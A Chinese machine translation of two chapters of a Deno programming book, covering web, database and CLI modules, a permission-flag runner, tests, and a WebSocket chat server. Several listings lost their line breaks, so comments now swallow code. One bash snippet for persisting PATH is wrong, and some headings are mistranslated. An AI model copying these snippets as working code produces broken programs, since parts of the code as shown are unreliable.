可能与后端异步 I/O 运行时相关的最常见任务之一是开发 API 或任何基于 web 的项目。这就是 Node.js 在微服务项目上获得如此多关注的原因。
对于 Deno,已经有一些非常有趣的框架可用。
德雷什
使用这个模块,您可以创建一个直接的 API 或 web 应用;您可以根据自己选择的生成器脚本来决定使用哪一个。本质上,Drash 为您提供了一个生成器脚本,让您能够创建所需的所有基本样板代码。
最酷的是,由于像 Deno 提供的远程导入和执行远程文件的能力,您可以使用生成器,而不必在您的计算机上安装任何东西。下面一行显示了您需要执行的确切命令:
$ deno run --allow-run --allow-read --allow-write --allow-net https://deno.land/x/drash/create_app.ts --api
现在,您应该能够完全理解这个命令在做什么。基本上,您正在执行create_app.ts
脚本,为了确保它能够工作,您允许它运行子进程,在您的硬盘上读写,并建立网络连接,可能是为了下载所需的文件。
图 5-3
执行 Drash 生成器后的项目结构
项目结构非常简单,如图 5-3 所示;注意deps.ts
文件,它遵循我在第四章中介绍的相同模式。目前,它只导出两个依赖项,如您在清单 5-3 中看到的,但是您将使用这个文件导出您将来可能添加的任何其他内容。
export { Drash } from "https://deno.land/x/drash@v1.0.0/mod.ts";
export { assertEquals } from "https://deno.land/std@v0.52.0/testing/asserts.ts";Listing 5-3Default exports added by Drash
在 resources 文件夹中,您可以看到这个框架试图使用面向对象的方法,通过扩展Drash.Http.Resource
来声明资源。清单 5-4 展示了自动生成的资源,这反过来清楚地说明了用这种方法实现一个基于 REST 的 API 是多么容易。
export default class HomeResource extends Drash.Http.Resource {static paths = ["/"];public GET() {this.response.body = JSON.stringify({ success: true, message: "GET request received." },);return this.response;}public POST() {this.response.body = JSON.stringify({ message: "Not implemented" });return this.response;}public DELETE() {this.response.body = JSON.stringify({ message: "Not implemented" });return this.response;}public PUT() {this.response.body = JSON.stringify({ message: "Not implemented" });return this.response;}
}Listing 5-4Autogenerated resource class by Drash
至于它的文档,他们的网站 3 包含一组非常详细的例子,带你从最基本的用例到最复杂的用例。作为一名来自 Express 4 或 Restify、 5 等框架的开发人员,Drash 采用的方法是新鲜而有趣的,考虑到它主要侧重于 TypeScript 和我们在第二章中介绍的几个特性。
如果您希望快速完成一些工作,并使用 Deno 设置一个 API,可以考虑看看这个新的尝试,而不是使用迁移的节点模块。
数据库访问
无论您正在开发哪种应用,您都很可能需要使用数据库。无论是基于 SQL 的还是 NoSQL 的,如果你需要,Deno 都能满足你。
结构化查询语言
如果你正在考虑使用 SQL(特别是 SQLite、MySQL 或 Postgre),那么 Cotton 6 是你的首选;类似于 sequelize 7 为 Node 所做的,这个模块试图为开发者提供一个数据库无关的方法。您担心使用正确的方法,它会为您编写查询。最好的部分是,如果你需要,你也可以写你自己的原始查询,当然,这将打破 ORM 模式,但它也给你最复杂的用例所需的灵活性。
你可以直接从 Deno 的模块库中导入这个模块,换句话说,从你的代码中使用 https://deno.land/x/cotton/mod.ts
。然后使用清单 5-5 中的代码连接到数据库。
import { connect } from "https://deno.land/x/cotton/mod.ts";const db = await connect({type: "sqlite", // available type: 'mysql', 'postgres', and 'sqlite'database: "db.sqlite",// other...
});Listing 5-5Connecting to your favorite SQL database
然后,您可以通过直接编写 SQL 来查询您的表,如清单 5-6 所示,或者使用清单 5-7 所示的数据库模型(遵循 ORM 模式)。
const users = await db.query("SELECT * FROM users;");for (const user of users) {console.log(user.email);
}Listing 5-6Raw query getting the list of users
请注意,结果是如何将用户直接转换为具有正确属性的对象,而不是必须使用自定义方法来获取正确的属性,或者甚至为每个记录创建一个值数组。
import { Model } from "https://deno.land/x/cotton/mod.ts";class User extends Model {static tableName = "users";@Field()email!: string;@Field()age!: number;@Field()created_at!: Date;
}
//and now query your data...
const user = await User.findOne(1); // find user by id
console.log(user instanceof User); // trueListing 5-7Using the ORM pattern to query the database
当然,如果您想走这条路,您必须更改 TypeScript 编译器上的默认配置;不然就不行了。你可以在你的项目文件夹中有一个类似于清单 5-8 的tsconfig.json
文件。
{"compilerOptions": {"experimentalDecorators": true,"emitDecoratorMetadata": true}
}Listing 5-8Required configuration to make decorators work
然后用下面一行执行您的代码:
$ deno run -c tsconfig.json main.ts
NoSQL
另一方面,如果您希望与 NoSQL 数据库进行交互,推荐一个模块的任务会变得有点复杂,因为由于 NoSQL 数据库的性质,您很难找到一个适用于所有数据库的模块。
相反,您必须寻找专门为您的数据库设计的东西。在这里,我将为 MongoDB 和 Redis 推荐一些东西,因为它们是两个主要的 NoSQL 数据库。
MongoDB
基于文档的数据库是 NoSQL 的经典选择,尤其是 MongoDB,考虑到它与 JavaScript 的集成,非常适合我们最喜欢的运行时。
DenoDB 8 是除 deno_mongo 9 之外为数不多的为 mongoDB 提供支持的模块,deno _ Mongo9 是用 Rust 编写的 Mongo 驱动程序之上的直接包装器。有趣的是,这个模块还支持一些主要的基于 SQL 的数据库,所以它涵盖了所有的基础知识。
连接 Mongo 很容易;您只需要确保您指定了清单 5-9 中所示的正确选项,定义您的模型就像扩展模块导出的模型类一样简单(参见清单 5-10 中的示例)。
class Flight extends Model {static fields = {_id: {primaryKey: true,},};
}
const flight = new Flight();
flight.departure = 'Dublin';
flight.destination = 'Paris';
flight.flightDuration = 3;
await flight.save()Listing 5-10Using models to interact with the collections
import { Database } from 'https://deno.land/x/denodb/mod.ts';const db = new Database('mongo', {uri: 'mongodb://127.0.0.1:27017',database: 'test',
});Listing 5-9Connecting to Mongo
这个模块唯一的缺点是明显缺乏对原始查询的支持。因此,如果你发现自己需要模块的 API 没有给你的操作,请记住,它只是使用 deno_mongo 来处理连接,所以你可以通过getConnector
方法直接访问该对象。
使用心得
Redis 是一种完全不同类型的数据库,因为它处理的是键-值对,而不是实际的类似文档的记录,所以遵循相同的基于 ORM 的方法没有什么意义。
因此,我们将使用 Deno 的 Redis 驱动程序的直接端口,可以访问所有经典的 Redis 方法。如果您来自 Node 并且以前使用过 Redis 包,这应该感觉非常相似。
import { connect } from "https://denopkg.com/keroxp/deno-redis/mod.ts";const redis = await connect({hostname: "127.0.0.1",port: 6379
});const ok = await redis.set("hoge", "fuga");
const fuga = await redis.get("hoge");Listing 5-11Connecting to Redis from Deno
清单 5-11 显示了取自文档的一个基本例子,但是你可以在那里看到正在使用的set
和get
方法。还支持 Pub/Sub API 和一个非常有趣的特性:原始请求(参见下面的示例片段)。
await redis.executor.exec("SET", "redis", "nice"); // => ["status", "OK"]
await redis.executor.exec("GET", "redis"); // => ["bulk", "nice"]
当然,您通常希望使用 API 提供的方法,但是这允许您访问尚不属于稳定 API 的特性。仅在极端情况下使用此选项;否则,坚持使用标准方法。
Tip
为了让您的代码与这个模块一起工作,您需要使用--allow-net
标志提供网络特权。
命令行界面
作为 Deno 等运行时的另一个经典用例,考虑到 JavaScript 的动态性,很容易将其用于开发工具,这就是 CLI 工具的用武之地。
尽管 Deno 作为其标准库的一部分已经提供了一个非常全面的参数解析模块,但是在创建命令行工具时还需要注意其他事情。
为此,模块 Cliffy 10 提供了一套完整的软件包,处理创建这些工具所涉及的所有方面。
作为该模块的一部分,有六个集中了不同功能的包,允许您只导入您需要的部分,而没有单一的巨大依赖。
-
ansi-escape:11允许您在需要时通过四处移动或隐藏光标来与 CLI 光标进行交互。
-
命令:12你可以使用这个模块为你的 CLI 工具创建命令。它提供了一个非常易于使用的 API,可以自动生成帮助消息并帮助您解析 CLI 参数。
-
flags : 13 把这个模块想象成 Deno 的 flag 解析包上了类固醇。它允许您为您的标志提供一个非常详细的模式,指定诸如别名、它们是否是强制的、与其他标志的依赖性等等。它帮助您将 CLI 工具从基础版本升级为经过充分思考和专业设计的工具。
-
keycode:14如果你试图请求用户输入普通文本以外的内容(例如,按下 CTRL 键),这个模块将帮助你解析那些信号。
-
提示 : 15 请求用户输入可以简单到使用一个带有消息的 console.log,然后依赖 Deno 的 Stdin 阅读器,或者您可以使用这个包给用户一个很好的体验。除了请求自由文本输入,您还可以提供下拉框、复选框、数字输入等等。
-
表格 : 16 如果您需要在终端上显示表格数据,这个模块就是您的首选。它允许您设置格式选项,如填充、边框宽度、最大单元格宽度等。
作为这个库可以做什么的一个例子,我将向您展示如何使用我刚才提到的最后一个模块在一个格式良好的表格上显示 CSV 文件的内容。
文件内容见图 5-4 。你会发现它没有什么特别之处,只是你的普通电子表格,我会把它保存为普通的 CSV 文件,并使用清单 5-12 中的代码,我会加载并显示它。在图 5-5 中,你会看到最终结果显示在我的终端上。
图 5-4
基本 CSV 文件
import { parse } from "https://deno.land/std/encoding/csv.ts";
import { BufReader } from "https://deno.land/std/io/bufio.ts";
import { Table } from 'https://deno.land/x/cliffy/table.ts';const f = await Deno.open("./data.csv");
const reader = new BufReader(f)const records:[string[]] = <[string[]]>(await parse(reader))f.close();Table.from( records )
.maxCellWidth( 20 )
.padding( 1 )
.indent( 2 )
.border( true )
.render();Listing 5-12Deno code to display the content of our CSV in table format on the terminal
注意如何解析 CSV。我实际上使用的是 Deno 的标准库,table 模块期望得到与parse
方法返回的格式相同的格式,所以我们在这里实际上不必做太多。输出本身正如我们所期望的那样,是我们终端上的一个表格。
图 5-5
显示表中数据的脚本输出
现在已经有很多其他的模块可以让你开始用 Deno 编写高质量的软件了。社区不断地发布和移植来自 Node 或 Go 的包,或者只是抓住机会给这个新的生态系统带来新鲜的想法,所以开始浏览和测试那些看起来更有趣的包真的取决于你。
结论
本章的目的是让您了解 Deno 的生态系统已经有多成熟,正如您所看到的,社区不仅对缺乏提供浏览和可靠存储代码的方式的包管理器做出了回应,而且他们还一直在制作内容,就像没有明天一样。
如果您想知道这个新的运行时是否有足够的用户群来实际用于生产,考虑到在发布后的几个月内已经发布的所有内容,本章应该会给你答案。
事情才刚刚开始,所以在下一章,也是最后一章,我将展示几个例子,说明如何使用本章中的一些模块和一些新的模块来创建成熟的应用。
六、将所有这些放在一起——示例应用
这是最后一章,到目前为止,我们不仅讨论了语言和运行时,还讨论了自发布之日起(老实说,在此之前)社区所做的令人惊叹的工作,构建工具和模块来帮助推动技术向前发展。
在这一章中,我将展示几个我用 Deno 构建的非常不同的项目,以便向您展示到目前为止所涉及的所有内容是如何组合在一起的。它们都是示例项目,当然还没有完全投入生产,但是它们应该涵盖所有感兴趣的领域,如果您将 GitHub 项目作为一个起点(所有这些项目都可以在 GitHub 帐户上使用),您应该能够对其进行定制,并很快使其成为您自己的项目。
所以事不宜迟,让我们开始检查项目。
Deno runner
我们要解决的第一个项目是一个简单但非常有用的项目。从我们到目前为止所介绍的内容来看,每次执行 Deno 脚本时,都需要指定权限标志,以便为脚本提供这些权限。这是事实,也是这个运行时背后的团队的设计决策。
然而,可以有另一种方式;如果您创建一个工具,从预设文件中读取这些权限,然后作为子进程执行预期的脚本,那么您可以为用户提供更好的体验。这就是这个项目的目的:简化执行 Deno 脚本的用户体验,而不必担心非常长的命令行,虽然很明确,但对于新手用户来说也可能很复杂和可怕。
目标是从这样的命令行移动:
$ deno run --allow-net --allow-read=/etc --allow-write=/output-folder --allow-env your-script.ts
取而代之的是,有一个专门设计的文件来存放你的安全标志,类似于清单 6-1 的东西,跑步者可以为你所用,而不必担心它。
--allow-net
--allow-read=/etc
--allow-write=/output-folder
--allow-envListing 6-1Content of the flags file
现在,一个更简单的命令行读取该文件,然后执行该脚本,如下所示:
$ the-runner your-script.ts
非常非常简单,如果您考虑一下,如果您尝试执行的脚本附带了 flags 文件,您会发现使用这个工具会更加友好,尤其是对新手而言。
计划
该工具很简单,并且使其工作所需的步骤也很简单:
-
构建一个入口点,它接收要作为参数执行的脚本的名称。
-
确保您可以找到标志文件(包含脚本安全标志的文件)。
-
使用标志文件中的标志和脚本的名称,创建执行脚本所需的命令。
-
然后,使用 Deno 的
run
方法执行它。
为了使这个工作,我们将只使用标准库;在某种程度上,这也证明了 Deno 的创造者对其标准库的承诺。
这个项目的结构也很简单;为了让一切井然有序,我们只需要几个文件:
-
主脚本,即所谓的入口点,是将由用户执行的脚本,也是解析 CLI 参数的脚本。
-
所有外部依赖项都将从
deps.ts
文件中导入,遵循已经覆盖的模式,以便于我们将来可能需要的任何更新或包含。 -
我们将要编写的三个函数将存在于一个
utils.ts
文件中,只是为了将入口点的代码与这些支持函数分开。 -
最后,将代码捆绑到单个文件并使其最终可执行所需的脚本将是一个简单的 bash 脚本。这是因为我们需要运行一些终端命令,使用 bash 比使用 JS 要容易得多。
代码
这个小项目的完整源代码位于这里 1 ,以防你需要检查任何其他细节或者甚至克隆存储库。
也就是说,入口点的代码公开了整个脚本背后的主要逻辑,您可以在清单 6-2 中看到这一点。
import { parse, bold } from './deps.ts'
import { parseValidFlags, runScript } from './utils.ts'// The only argument we care about: the script's name
const ARGS = parse(Deno.args)
const scriptName:string = <string>ARGS["_"][0]const FLAGFILE = "./.flags" //this is the location and the name of the flags file// Required to turn the binary array from Deno.readFile into a simple string
const decoder = new TextDecoder('UTF-8')
let secFlags = ""
try { //Make sure we capture any error reading the file...const flags = await Deno.readFile(FLAGFILE)secFlags = decoder.decode(flags)
} catch (e) {//... and in that case, just ignore privilegesconsole.log(bold("No flags file detected, running script without privileges"))
}let validFlags:string[] = parseValidFlags(secFlags)
runScript(validFlags, scriptName)Listing 6-2Code for the entry point script
脚本正在捕获位于Deno.args
的命令行参数,由于parse
方法(你将在deps.ts
文件中看到)来自属于标准库的flags
模块。然后,我们读取标志文件,如果脚本找不到它,就捕获它。有了这些内容,我们解析它,把它变成一个字符串列表,然后简单地请求运行它。
现在,关于代码的其余部分,我还想介绍两个细节。对标志的解析本质上需要读取一个带有标志列表的文件,每行一个标志,这有一个潜在的问题:如何将这些行转换成一个数组?请记住,换行字符并不总是相同的;这实际上取决于操作系统。幸运的是,Deno 为我们提供了一种方法来检测我们正在使用的行尾字符,因此脚本可以适应它运行的操作系统。您可以在清单 6-3 中看到我是如何做到的。
export function parseValidFlags(flags:string):string[] {const fileEOL:EOL|string = <string>detect(flags)if(flags.trim().length == 0) return []return <string[]>flags.split(fileEOL).map( flag => {flag = flag.trim()let flagData = findFlag(flag)if(flagData) {return flagData} else {console.log(":: Invalid Flag (ignored): ", bold(flag))}}).filter( f => typeof f != "undefined")
}Listing 6-3Parsing the flags
注意所使用的detect
函数,以便理解使用的是哪一个行尾字符。然后我们对split
方法也这样做。剩下的就是确保从文件中读取的标志是有效的,如果不是,我们就忽略它。
最后,转换这些读取标志并运行脚本所需的代码如清单 6-4 所示。你可以看到这段代码有多简单;我们只需要用正确的参数调用Deno.run
方法。
export function runScript(flags:string[], scriptFile:string) {flags.forEach( f => {console.log("Using flag", bold(f))})let cmd = ["deno", "run", ...flags, scriptFile]const sp = Deno.run({cmd})sp.status()
}Listing 6-4Running the script
在这个函数中,我们对标志列表进行了额外的迭代,只是为了通知用户哪些权限被授予了正在执行的脚本。但是这段代码真正的核心是我们如何使用数组析构将数组合并到另一个数组中。
我想介绍的最后一点并不是真正的 Deno 代码。相反,它是几行 bash 代码。请参见清单 6-5 ,我稍后会解释。
#!/bin/bashDENO="$(which deno)"
SHEBANG="#!${DENO} run -A"
CODE="$(deno bundle index.ts)"BOLD=$(tput bold)
NORMAL=$(tput sgr0)echo "${SHEBANG}
${CODE}" > bundle/denorun.jschmod +x bundle/denorun.jsecho "----------------------------------------------------------------------------------"
echo "Thanks for installing DenoRunner, copy the file in ${BOLD}bundle/denorun.js${NORMAL} to a folder
you have in your PATH or add the following path to your PATH variable:${BOLD}$(pwd)/bundle/${NORMAL}"
echo "----------------------------------------------------------------------------------"Listing 6-5Build script written in bash
这个脚本的第一行被称为 shebang ,如果您从未见过它,它会告诉解释器将执行这个脚本的实际二进制文件的位置。它允许您执行脚本,而不必从命令行显式调用解释器;相反,当前的 bash 将为您做这件事。理解这一点很重要,因为它可以用任何脚本语言来完成,不仅仅是 bash,正如你马上要看到的,我们正试图对我们的脚本做同样的事情。
然后,我们捕获 deno 二进制文件在系统中的安装位置,以便创建一个包含新 shebang 行的字符串。根据您的系统,它可能看起来像这样:
/home/your-username/.deno/bin/deno run -A
然后我们将继续使用deno bundle
命令,它将获取我们所有的外部和内部依赖项并创建一个文件。这对于分发我们的应用来说是完美的,因为它允许您简化这个任务。现在你不必要求你的用户下载一个潜在的非常大的项目,你只需要要求他们下载一个文件并使用它。
但是,我们的问题是,我们需要让我们的最终包是一个自动可执行文件,所以我们需要了解您的 deno 安装在哪里,以便创建正确的 shebang 行。将我们的包代码放在我们的CODE
变量中,将 shebang 行放在SHEBANG
变量中,然后我们将两个字符串输出到bundle
文件夹中的一个文件(我们的最终包)中。然后,我们为我们的文件提供执行权限,这样您就可以从命令行直接调用它,shebang 就会生效。
将这一行作为脚本的第一行,您的 bash 将知道调用 Deno,告诉它执行我们新构建的文件,并为它提供所有可用的特权。这是为了确保我们不会遇到任何问题;您可以像过去一样更改-A
以获得更详细的权限列表,但是一旦准备好,并且您已经将文件复制到您的PATH
中的某个地方(即,当键入命令时您的终端将查找的某个地方)或者将文件夹添加到其中(参见清单 6-6 中如何做的示例),您就可以简单地键入
$ denorun.js your-script.ts
它会正确执行您的脚本,如果您创建了正确的.flags
文件,它会读取并列出所有权限,在执行您的文件之前,它会列出这些权限以确保用户知道它们。
# To test it inside your current terminal window (will only work for the currently opened session)
export PATH="/path/to/deno-runner/bundle:$PATH"# In order to make it work on every terminal
export PATH="/path/to/deno-runner/bundle:$PATH" >> ~/.bash_profileListing 6-6Adding a folder to your PATH variable
Note
清单 6-6 中的例子只适用于 Linux 和 Mac 系统;如果你有一个 Windows 盒子,你必须搜索如何更新你的路径。可以做到;这并不难,但是只需点击几下鼠标,而不是命令行。此外,该示例假设您正在使用默认的 bash 命令行;如果你正在使用别的东西,比如 Zsh, 2 ,你必须相应地更新代码片段。
测试应用
对于下一个使用 Deno 可以实现什么的例子,我想介绍标准库中另一个强大的模块:测试。 3
正如我已经提到的,Deno 已经为您提供了一个测试套件。当然,如果您打算做更复杂的事情,比如创建存根或模拟,您可能需要额外的资源,但是对于基本的设置,Deno 的测试模块已经足够了。
为此,我们将回到第一个示例,我们将添加一些示例测试,以便您可以看到它实际上有多简单。
添加一个测试就像创建一个以_test.ts
或.test.ts
结尾的文件一样简单(如果您直接编写 JavaScript,则更改扩展名);这样,当您使用如下的测试命令执行它时,Deno 应该能够获得它并运行测试:deno test
。
清单 6-7 显示了设置测试套件所需的代码。
Deno.test("name of your test", () => {///.... your test code here
})Listing 6-7Basic test code
正如您所看到的,启动和运行您的测试只需要很少的东西;事实上,你可以在清单 6-8 中看到一个如何测试让 deno-runner 工作的一些函数的例子。
import { assertEquals } from "../deps.ts"
import { findFlag, parseValidFlags } from '../utils.ts'Deno.test("findFlag #1: Find a valid flag by full name", () => {const fname = "--allow-net"const flag = findFlag(fname)assertEquals(flag, fname)
})Deno.test("findFlag #2: It should not find a valid flag by partial name", () => {const fname = "allow-net"const flag = findFlag(fname)assertEquals(flag, false)
})Deno.test("findFlag #3: Return false if flag can't be found", () => {const fname = "invalid"const flag = findFlag(fname)assertEquals(flag, false)
})Deno.test("parseValidFlag #1: Should return an empty array if there are no matches", () => {let flags = parseValidFlags("")assertEquals(flags, [])
})Listing 6-8Testing the deno-runner code
例如,如果您想做一些更复杂的事情并监视函数调用,您将需要一个外部模块,比如 mock。有了这个模块,你可以使用清单 6-9 中看到的间谍和模仿。
import { assertEquals } from "https://deno.land/std@0.50.0/testing/asserts.ts";
import { spy, Spy } from "https://raw.githubusercontent.com/udibo/mock/v0.3.0/spy.ts";class Adder {public miniAdd(a: number, b:number): number {return a +b}public add( a: number, b: number, callback: (error: Error | void, value?: number) => void): void {const value: number = this.miniAdd(a,b)if (typeof value === "number" && !isNaN(value)) callback(undefined, value);else callback(new Error("invalid input"));}
}Deno.test("calls fake callback", () => {const adder = new Adder()const callback: Spy<void> = spy();assertEquals(adder.add(2, 3, callback), undefined);assertEquals(adder.add(5, 4, callback), undefined);assertEquals(callback.calls, [{ args: [undefined, 5] },{ args: [undefined, 9] },]);
});Listing 6-9Using spies to test your code
该示例展示了如何覆盖回调函数并检查执行情况,从而允许您检查诸如执行次数、收到的参数等内容。事实上,清单 6-10 展示了如何为Adder
类的一个方法创建存根以控制其行为的例子。
Deno.test("returns error if values can't be added", () => {const adder = new Adder()stub(adder, "miniAdd", () => NaN);const callback = (err: Error | void, value?: number) => {assertEquals((<Error>err).message, "invalid input");}adder.add(2, 3, callback)
});Listing 6-10Creating a stub for one of the methods
只需一行简单的代码,您就可以用一个您可以控制的方法替换原来的方法。在清单 6-10 的例子中,您正在控制来自miniAdd
方法的输出,从而帮助您测试与add
方法相关联的其余逻辑(即,确保在这种情况下返回值是错误对象)。
聊天服务器
最后,构建聊天服务器通常需要处理套接字,因为它们允许您打开一个双向连接,该连接在关闭之前一直保持打开状态,这与普通的 HTTP 连接不同,普通的 HTTP 连接只存在很短的一段时间,并且实际上只允许在客户机和服务器之间发送单个请求及其相应的响应。
如果您来自 Node,您可能见过类似的基于套接字的聊天客户端和服务器的例子,本质上是在套接字库发出的事件之上工作。然而,Deno 的架构有点不同,因为它不依赖事件发射器,而是使用流来处理套接字。
在这个例子中,我将快速浏览 Deno 官方文档中显示的客户端和服务器的简化版本(对于 WebSocket 模块,是标准库 5 的一部分)。清单 6-11 展示了如何处理套接字流量(基本上,新消息被接收或者甚至是一个关闭套接字的请求)。
let sockets: WebSocket[] = []async function handleWs(sock: WebSocket) {log.info("socket connected!");sockets.push(sock)try {for await (const ev of sock) {if (typeof ev === "string") {log.info("ws:Text", ev);for await(let s of sockets) {log.info("Sending the message: ", ev)await s.send(ev);}await sock.send(ev);} else if (isWebSocketCloseEvent(ev)) {// closeconst { code, reason } = ev;log.info("ws:Close", code, reason);}}
} catch (err) {log.error(`failed to receive frame: ${err}`);if (!sock.isClosed) {await sock.close(1000).catch(console.error);}}
}Listing 6-11Handling new message on the socket connection
一旦建立了套接字连接,就要调用这个函数(稍后将详细介绍)。如您所见,它的要点是一个主for
循环,遍历套接字的元素(实质上是新消息到达)。接收到的所有文本消息都将通过异步for
循环中的socket.send
方法发送回客户端和所有其他打开的套接字(注意代码中加粗的部分)。
为了启动服务器并开始监听新的套接字连接,您可以使用清单 6-12 中的代码。
const port = Deno.args[0] || "8080";
log.info(`websocket server is running on :${port}`);
for await (const req of serve(`:${port}`)) {const { conn, r: bufReader, w: bufWriter, headers } = req;acceptWebSocket({conn,bufReader,bufWriter,headers,}).then(handleWs).catch(async (err:string) => {log.error(`failed to accept websocket: ${err}`);await req.respond({ status: 400 });});}Listing 6-12Starting the server
使用serve
函数启动服务器,这又创建了一个请求流,我们也在用异步for
循环迭代这个请求流。在收到每个新的请求时(即打开一个新的套接字连接),我们调用acceptWebSocket
函数。这个服务器和客户端的完整代码(我一会儿会讲到)可以在 GitHub、 6 上找到,所以一定要查看一下,以了解一切是如何组合在一起的。
简单的客户
没有合适的客户机,服务器什么也做不了,所以为了结束这个例子,我将向您展示如何使用标准库中的同一个模块来创建一个客户机应用,它将从前面连接到服务器并发送(和接收)消息。
清单 6-13 展示了客户端代码背后的基本架构;在使用了connectWebSocket
函数之后,我们将创建两个不同的异步函数,一个用于从套接字读取消息,一个用于从标准输入读取文本。注意,除了标准库之外,我们没有使用任何外部库。
const sock = await connectWebSocket(endpoint);
console.log(green("ws connected! (type 'close' to quit)"));// Read incoming messages
const messages = async (): Promise<void> => {for await (const msg of sock) {if (typeof msg === "string") {console.log(yellow(`< ${msg}`));} else if (isWebSocketCloseEvent(msg)) {console.log(red(`closed: code=${msg.code}, reason=${msg.reason}`));}}
};// Read from standard input and send over socket
const cli = async (): Promise<void> => {const tpr = new TextProtoReader(new BufReader(Deno.stdin));while (true) {await Deno.stdout.write(encode("> "));const line = await tpr.readLine();if (line === null || line === "close") {break;} else {await sock.send(username + ":: " + line);}}
};
await Promise.race([messages(), cli()]).catch(console.error);Listing 6-13Core of the client code
注意我之前提到的两个异步函数(messages
和cli
);它们都返回一个承诺,正因为如此,我们可以使用 Promise.race 让两个函数同时执行。使用这种方法,一旦任何一个承诺解决或失败,执行将结束。cli
函数将从标准输入中读取输入,并使用socket.send
方法通过套接字连接发送。
另一方面,messages
函数就像在服务器端一样,迭代套接字的元素,本质上是对通过连接到达的消息做出反应。
通过将此客户端的实例连接到服务器,您可以在它们之间发送消息。服务器会负责将消息广播给每个人,客户端会用黄色显示从服务器收到的文本。如果你想测试这个项目,请参考完整代码 7 。
结论
这不仅是第六章的结尾,也是本书的结尾。希望到现在为止,您已经设法理解了创建 Deno 背后的动机,为什么提出 Node 并在后端开发行业留下印记的同一个人决定重新开始并更加努力。
Deno 远没有做到;事实上,当我开始编写这本书时,它的第一个版本刚刚发布,甚至不到两个月后,版本 1.2.0 就已经出来了,由于突破性的变化导致了一些问题。
但不要害怕;事实上,如果你对 Deno 背后的团队仍有疑虑,这就是你需要的证据。这不仅仅是一个人希望推翻后端的 JavaScript 国王,这是一个完整的团队,致力于满足不断增长的社区的需求,积极提供反馈和支持,以帮助生态系统每天都在增长。
如果你只是想从这本书里学到一样东西,我希望你带走玩一种全新技术的好奇心,希望你会爱上它。
感谢您阅读至此;下次再见!